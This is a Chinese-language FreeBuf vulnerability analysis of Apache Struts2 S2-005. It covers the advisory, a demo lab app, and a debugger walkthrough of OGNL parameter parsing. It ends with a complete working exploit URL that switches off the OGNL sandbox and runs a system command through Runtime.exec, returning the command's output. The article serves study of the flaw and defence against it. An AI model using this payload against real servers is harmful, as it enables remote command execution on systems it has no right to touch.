Struts2-005远程代码执行漏洞分析

2019-01-05 61954人围观 ,发现 1 个不明物体 漏洞

*本文原创作者:水清云影,本文属FreeBuf原创奖励计划,未经许可禁止转载

一、漏洞信息

官方链接:https://cwiki.apache.org/confluence/display/WW/S2-005

官方概述:XWork ParameterInterceptors bypass allows remote command execution

影响版本:Struts 2.0.0 – Struts 2.1.8.1

修复摘要:Developers should immediately upgrade to Struts 2.2.1 or read the following solution instructions carefully for a configuration change to mitigate the vulnerability

二、漏洞原理

S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003。

三、环境搭建

下载 Struts2.0.11.2http://archive.apache.org/dist/struts/binaries/struts-2.1.8.1-all.zip

目录结构

引用的包

commons-fileupload-1.2.1.jar

commons-logging-1.0.4.jar

freemarker-2.3.15.jar

ognl-2.7.3.jar

struts2-core-2.1.8.1.jar

xwork-2.0.5.jar

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-005</title>
</head>
<body>
<h2>S2-005 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-005">https://cwiki.apache.org/confluence/display/WW/S2-005</a></p>
<s:form action="login">
    <s:textfield name="username" label="username" />
    <s:textfield name="password" label="password" />
    <s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-005</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
    "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="S2-005" extends="struts-default">
        <action name="login" class="com.demo.action.LoginAction">
            <result name="success">welcome.jsp</result>
            <result name="error">index.jsp</result>
        </action>
    </package>
</struts>

com.demo.action.LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">

    <display-name>S2-005 Example</display-name>

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>

</web-app>

四、漏洞分析

首先我们来看看官方是如何修补的S2-003呢?它是新出了一个沙盒机制,默认禁止了静态方法的调用(allowStaticMethodAccesMethodAccessor.denyMethodExecution

所以我们可以利用OGNL先把沙盒关闭掉,就又可以执行命令了。

xwork.MethodAccessor.denyMethodExecution设置为falseallowStaticMethodAccess设置为true

这样就可以关闭掉沙盒机制,unicode编码仍然还是可以的,\u0023会被解析成#,POC还是原来的POC,只不过加上了上面的两个设置,接下来我们可以看看具体漏洞分析的过程

这里还是在Tomcat6环境下进行分析。

和S2-003大体相同,在xwork-core-2.1.16.jar!com/opensymphony/xwork2/interceptor/ParametersInterceptor中断点调试

跟进setParameters,会进入到xwork-core-2.1.16.jar!com/opensymphony/xwork2/ognl/OgnlValueStack,可以看出在Ognl中,值栈(ValueStack)的实现类是OgnlValueStack

发现在里面封装了一个setValue类,跟入ognlUtil.setValue,会进入到xwork-core-2.1.16.jar!com/opensymphony/xwork2/ognl/OgnlUtil中,这里又封装了一遍setValue类,最终调用了Ognl中的setValue方法

可以看到其中的compile方法,会将传来的字符串进行解析,而name值就是我们传递过来的参数值,跟进compile方法

跟进parseExpression,这里从topLevelExpression开始对语法书进行解析,进入到ognl-2.7.3.jar!ognl/OgnlParser中的expression()进行解析,可以看到,最后将结果保存到值栈中,\u0023被解析成#

然后将解析的结果return回去

五、漏洞利用

http://localhost:1111/login.action?(‘\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse’)(bla)(bla)&(‘\u0023_memberAccess.allowStaticMethodAccess\u003dtrue’)(bla)(bla)&(‘\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET’)(kxlzx)(kxlzx)&(‘\u0023mycmd\u003d\’ifconfig\”)(bla)(bla)&(‘\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)’)(bla)(bla)&(A)((‘\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())’)(bla))&(B)((‘\u0023myres\u003dnew\40byte[51020]‘)(bla))&(C)((‘\u0023mydat.readFully(\u0023myres)’)(bla))&(D)((‘\u0023mystr\u003dnew\40java.lang.String(\u0023myres)’)(bla))&(‘\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()’)(bla)(bla)&(E)((‘\u0023myout.getWriter().println(\u0023mystr)’)(bla))

参考链接

https://cwiki.apache.org/confluence/display/WW/S2-005

https://blog.csdn.net/u011721501/article/details/41626959

https://xz.aliyun.com/t/2323

*本文原创作者:水清云影,本文属FreeBuf原创奖励计划,未经许可禁止转载

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